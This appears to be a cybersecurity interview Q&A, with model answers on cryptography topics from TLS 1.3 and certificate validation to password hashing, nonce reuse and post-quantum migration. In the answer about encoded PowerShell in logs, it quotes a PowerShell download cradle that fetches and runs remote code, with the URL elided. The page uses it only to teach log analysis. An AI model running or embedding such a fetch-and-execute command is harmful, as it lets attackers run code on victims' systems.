Diffie-Hellman lets two parties agree on a shared secret over a channel an attacker is watching without ever sending it — like mixing paint where the mixes are public but you can't un-mix them. Using a fresh ephemeral key pair per session gives forward secrecy: steal the server's long-term key later and recorded traffic still can't be decrypted. The practical side effect is that passive TLS decryption appliances stopped working, which is why inspection moved to inline proxies.

Q
Walk me through how TLS 1.3 works at a high level.
Model answer

The client's first message already includes its ECDHE key share, which is what makes it one round trip. The server answers with its key share, and from then on both sides derive keys, so the server sends its certificate, a signature proving it owns that certificate, and a Finished message, all encrypted. The client checks the chain and hostname, sends its own Finished, and application data flows. If I'm debugging it, curl -v or openssl s_client shows every one of those steps.

Q
What actually changed between TLS 1.2 and 1.3?
Model answer

One round trip instead of two, mandatory forward secrecy, an encrypted certificate, and above all the deletion of every weak option — RSA key transport, RC4, 3DES, MD5 and dozens of cipher suites, leaving five AEAD suites. Most TLS 1.2 failures, like POODLE, came from legacy options attackers could downgrade to, and 1.3 removes them so you can't misconfigure your way back.

Q
You visit a site — how does your browser decide the certificate is valid?
Model answer

It checks the chain reaches a trusted root, the hostname is in the Subject Alternative Name list, today is inside the validity window, it isn't revoked, and it's in the Certificate Transparency logs. The caveat is that this only proves you're talking privately to the domain in the address bar — a phishing domain can have a perfectly valid certificate. Practically, I'd read it with openssl x509 -noout -subject -issuer -dates.

Q
What's the difference between a MAC and a digital signature?
Model answer

Both prove a message is authentic and unchanged, but a MAC like HMAC uses one shared secret, so either side could have produced it — no non-repudiation. A signature uses a private key only the signer holds, so anyone can verify it and the signer can't deny it. That's why GitHub webhooks use HMAC between two trusting parties, while certificates and code signing use signatures — and Storm-0558 showed a signature is only as safe as the signing key's custody.

Q
What is mTLS and where would you actually use it?
Model answer

Mutual TLS makes the client prove its identity with a certificate as well as the server, replacing phishable passwords or replayable API tokens with keys. It's the backbone of service-to-service auth in meshes like Istio, Kubernetes control-plane traffic, B2B APIs and device identity. The two things I'd check are automated certificate rotation, because expired certs cause outages, and that the server authorises the specific identity in the certificate rather than accepting anything from the internal CA.

Q
Why can't you just use SHA-256 to store passwords?
Model answer

Because it's built to be fast — around twenty billion guesses a second on one GPU — so a leaked database falls quickly; LinkedIn's unsalted SHA-1 hashes were mostly cracked within days. Password storage needs a slow, memory-hard function like Argon2id, which drops attackers to a tiny number of guesses per second and defeats GPU farms, plus a unique salt per password. The stored prefix — $argon2id$, $2b$, $y$ — tells you at a glance how bad a breach is.

Q
What does "never reuse a nonce" mean and why does it matter?
Model answer

A nonce must be unique for every message under the same key. Reusing one with AES-GCM leaks the XOR of the two plaintexts and lets an attacker recover the authentication key and forge messages, so one mistake breaks both confidentiality and integrity. It happens in real life — a 2016 scan found 184 HTTPS servers repeating GCM nonces. Generate a fresh nonce per message, or use AES-GCM-SIV if uniqueness is hard to guarantee.

Q
Why is elliptic-curve crypto preferred over RSA today?
Model answer

Same security with far smaller keys — 256-bit ECC roughly equals 3072-bit RSA — so it's faster and lighter, which matters for handshakes and small devices. Ed25519 also removes the per-signature random number that leaked Sony's PS3 signing key. RSA is still fine for compatibility, but key generation bugs like ROCA and the Debian OpenSSL flaw are reminders that the implementation matters as much as the algorithm.

Q
What's the quantum threat, and what do we do about it?
Model answer

Shor's algorithm would break RSA and elliptic-curve crypto outright, while Grover's only halves symmetric strength, so AES-256 stays safe. The urgency is harvest now, decrypt later: recorded traffic can be decrypted once a quantum computer exists. The response is NIST's ML-KEM and ML-DSA, already deployed as hybrid X25519MLKEM768 key exchange in browsers — you can see it in Chrome's Security panel — and the practical work today is a crypto inventory to find what migrates first.

Q
What problem does Certificate Transparency solve?
Model answer

It makes certificate mis-issuance visible: every public certificate must be in append-only public logs or browsers reject it, so anyone can spot a certificate for their domain they didn't request. It exists because of DigiNotar in 2011, when a hacked CA's fake Google certificate was used to spy on about 300,000 users with no way to detect it. Defenders monitor it for look-alike phishing domains; attackers use it to enumerate your subdomains.

Q
You find powershell -enc <long string> in a log. What is it and what do you do?
Model answer

It's not encryption, just base64 of UTF-16LE text, used to hide the command from people and simple filters. I'd decode it — base64 decode then convert from UTF-16LE, or CyberChef — and usually find a download cradle like IEX (New-Object Net.WebClient).DownloadString(...). Then I'd pivot on the URL and host, and check the parent process to see what launched it. Encoding hides from humans; it doesn't need a key, so it's never a barrier to analysis.

Q
Can you decrypt ransomware-encrypted files without paying?
Model answer

Usually not if it's implemented properly: each file gets a random AES or ChaCha20 key that's then encrypted with the attacker's public key, so only their private key unlocks it. Recovery without paying comes from backups or from implementation flaws — reused keys, keys left in memory, partial encryption — which is why I'd capture memory from still-running hosts before rebooting and check No More Ransom for a published decryptor. The real defence is immutable, tested backups.

Q
What would you put in a company's post-quantum migration plan?
Model answer

First a cryptographic inventory: every place RSA or elliptic curves are used, what for, and how long the protected data must stay secret, because harvest-now-decrypt-later makes long-lived secrets urgent today. Then migrate key exchange, mostly by upgrading TLS libraries and VPNs to hybrid groups like X25519MLKEM768, and push vendors for roadmaps. Signatures, certificates and firmware signing follow as standards and hardware mature. The dates to quote are NIST deprecating classical public-key algorithms after 2030 and disallowing them after 2035, and the EU target of high-risk systems migrated by 2030.